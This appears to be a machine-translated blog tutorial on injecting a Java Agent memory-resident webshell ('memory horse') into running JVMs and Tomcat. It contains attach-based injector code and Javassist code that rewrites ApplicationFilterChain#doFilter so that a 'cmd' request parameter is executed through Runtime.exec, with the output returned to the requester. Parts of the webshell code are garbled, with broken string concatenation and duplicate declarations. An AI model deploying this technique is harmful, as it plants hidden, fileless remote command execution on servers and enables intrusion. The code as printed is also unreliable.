I. The Principle of Pre-positioning
There are four types of memory horses: Filter type, Servlet type, Listener type, and Agent type
Java Agent supports two methods for loading:
- Implement the premain method, load at startup
- Implement the agentmain method, load after startup

Java Agent allows programmers to use agent technology to build an independent agent program from the application, which has a very wide range of applications and can assist in monitoring, running, and even replacing other programs on JVMs
VirtualMachine
Let's first understand VirtualMachine You can directly or indirectly access all other images through this interface instanceThis interface directly supports accessing global VM properties and controlling VM execution, the main methods are as follows:VirtualMachine - Java 11 Chinese Edition - API Reference Document (apiref.com), through VirtualMachine, you can find other running JVMs, if we can use this method to modify other programs, then we have achieved the injection effect
Instrumentation
Using Instrumentation, developers can build an independent agent (Agent) from the application, used to monitor and assist programs running on JVM, and even replace and modify some class definitions. The main methods are as follows:Chinese description of Instrumentation package/class/method - Java 11 API Chinese Edition - Manual - Time Java (nowjava.com)
Javassit
See below
Java bytecode operation master: Javassist tutorial - CSDN Blog
Javassist Chinese technical document - Program Poet - Blog园 (cnblogs.com)
Javassist full parsing - rickiyang - Blog园 (cnblogs.com)
Second preMain
Loaded before JVM starts
Injection code
public class MyPremain { public static void premain(String agentArgs, Instrumentation inst) { System.out.println("MyPremain"); } }
Then add the artifact
Make sure to change the main-class to premain-class in the MANIFEST.MF file when building the jar package
This is our injected program, packaged into a jar
public class Main { public static void main(String[] args) { for (int i = 0; i < 100; i++) { System.out.println("Hello World"); try { Thread.sleep(5000); } catch (InterruptedException e) { } } } }
Command line usage -javaagentTo implement loading at startup, the effect is as follows, and it can be seen that our malicious jar is executed first
Three: agentMain
Load after JVM starts
Let's write a malicious class first, and it is necessary to change the MANIFEST.MF file when building the jar package
Manifest-Version: 1.0 Agent-Class: com.agentmain_test.myAgentMain
Since it is runtime injection, we need an injector. The injector mainly implements through VirtualMachine, VirtualMachine.list gets the list of JVM virtual machines, and then through the loadAgent method, we can load the malicious method we need to load. At this point, we can inject the jar into the running program
Firstly, we need to add the dependency of tools.jar
Injector code
public static void main(String[] args) throws IOException, AttachNotSupportedException { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor virtualMachineDescriptor : list) { if(virtualMachineDescriptor.displayName() == "com.agent.Main"){ VirtualMachine attach = VirtualMachine.attach(virtualMachineDescriptor); try { attach.loadAgent("agent's jar file location"); } catch (AgentLoadException e) { throw new RuntimeException(e); } catch (AgentInitializationException e) { throw new RuntimeException(e); } } } }
Start our target project and injector, injection successful
Four: Implementation of memory horse
Start tomcat to detect the feasibility of agent injection in middleware such as tomcat, and it can be seen that it can also be injected
Modify the agent code at the same time as follows
public class myAgentMain {
public static void agentmain(String agentArgs, Instrumentation inst) throws IOException {
Class[] classes = inst.getAllLoadedClasses();
FileOutputStream fileOutputStream = new FileOutputStream(new File("classes.txt"));
for (Class aClass : classes) {
String className = aClass.getName() + " " + aClass.getDeclaredMethods().toString()+"\n";
fileOutputStream.write(className.getBytes());
}
fileOutputStream.close();
System.out.println("agentmain");
}
}
Through inst.getAllLoadedClasses, we can obtain the classes that we can modify and inject, and for finding the injected classes, two conditions must be met:
- This method will definitely be executed
- It will not affect the normal business logic
Before the user's request reaches the server, Filters and Servlets are definitely passed through, and in ApplicationFilterChain#doFilter, HttpServlet#service also encapsulate our user's request and response. If we can inject these methods, then we can directly obtain the user's request and write the execution result into the response for return
Improve the agentMain code so that it executes our code
public static void agentmain(String agentArgs, Instrumentation inst) throws IOException, NotFoundException, CannotCompileException, UnmodifiableClassException, ClassNotFoundException { Class[] classes = inst.getAllLoadedClasses(); for (Class aClass : classes) { if (aClass.getName().equals("to_inject_class")) { // Create class pool ClassPool classPool = ClassPool.getDefault(); ClassClassPath classPath = new ClassClassPath(aClass); classPool.insertClassPath(classPath); CtClass ctClass = classPool.get(aClass.getName()); CtMethod service = ctClass.getDeclaredMethod("service"); service.insertBefore("Executed malicious code"); ctClass.detach(); byte[] bytecode = ctClass.toBytecode(); inst.redefineClasses(new ClassDefinition[]{new ClassDefinition(aClass, bytecode)}); } } System.out.println("Injection successful");
}
At this point, I injected the javax.servlet.http.HttpServlet class, and the effect is as follows
At this point, the injection has been successful
Now we modify the code to be executed and simulate a real environment
Refer to this master's dofilter code (just change the class and method for service) A Brief Introduction to Java Agent Memory Horse - Tencent Cloud Developer Community - Tencent Cloud (tencent.com)The main service here keeps reporting errors and has not been resolved, cried to death
public class myAgentMain { public static void agentmain(String agentArgs, Instrumentation inst) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.get("org.apache.catalina.core.ApplicationFilterChain"); CtMethod service = ctClass.getDeclaredMethod("doFilter"); // Insert code to ensure all classes have been imported correctly String toInsert = "javax.servlet.http.HttpServletRequest req = request;\n" "java.lang.String cmd = request.getParameter("cmd");" "javax.servlet.http.HttpServletResponse res = response;\n" + "java.lang.String cmd = request.getParameter(\"cmd\");\n" + "if (cmd != null){\n" + " try {\n" + " java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +" java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n " String line;\n" + " StringBuilder sb = new StringBuilder(\"\");\n" + " while ((line=reader.readLine()) != null){\n" + " sb.append(line).append(\"\\n\");\n" + " }\n" + " response.getOutputStream().print(sb.toString());\n" + " response.getOutputStream().flush();\n" + " response.getOutputStream().close();\n" + " } catch (Exception e){\n" + " e.printStackTrace();\n" + " }\n" + "}"; service.insertBefore(toInsert); byte[] bytecode = ctClass.toBytecode(); inst.redefineClasses(new ClassDefinition(ctClass.toClass(), bytecode)); System.out.println("Injection successful"); } }
It can be seen that it is also a successful injection
Five ways to use memory horse
On How to Gracefully Inject Java Agent Memory Horse (seebug.org)
I introduction of black rose Lucy MaaS products
How to use Acheron to modify Go programs and try to bypass antivirus product detection.
II. Emergency Response Case (a customer in the education industry of a certain district)
How to use JRCL to implement remote loading of Java code
Analysis of Linux memory leak cases and sharing of memory management
Introduction to common flow control algorithms and solutions in high concurrency scenarios

评论已关闭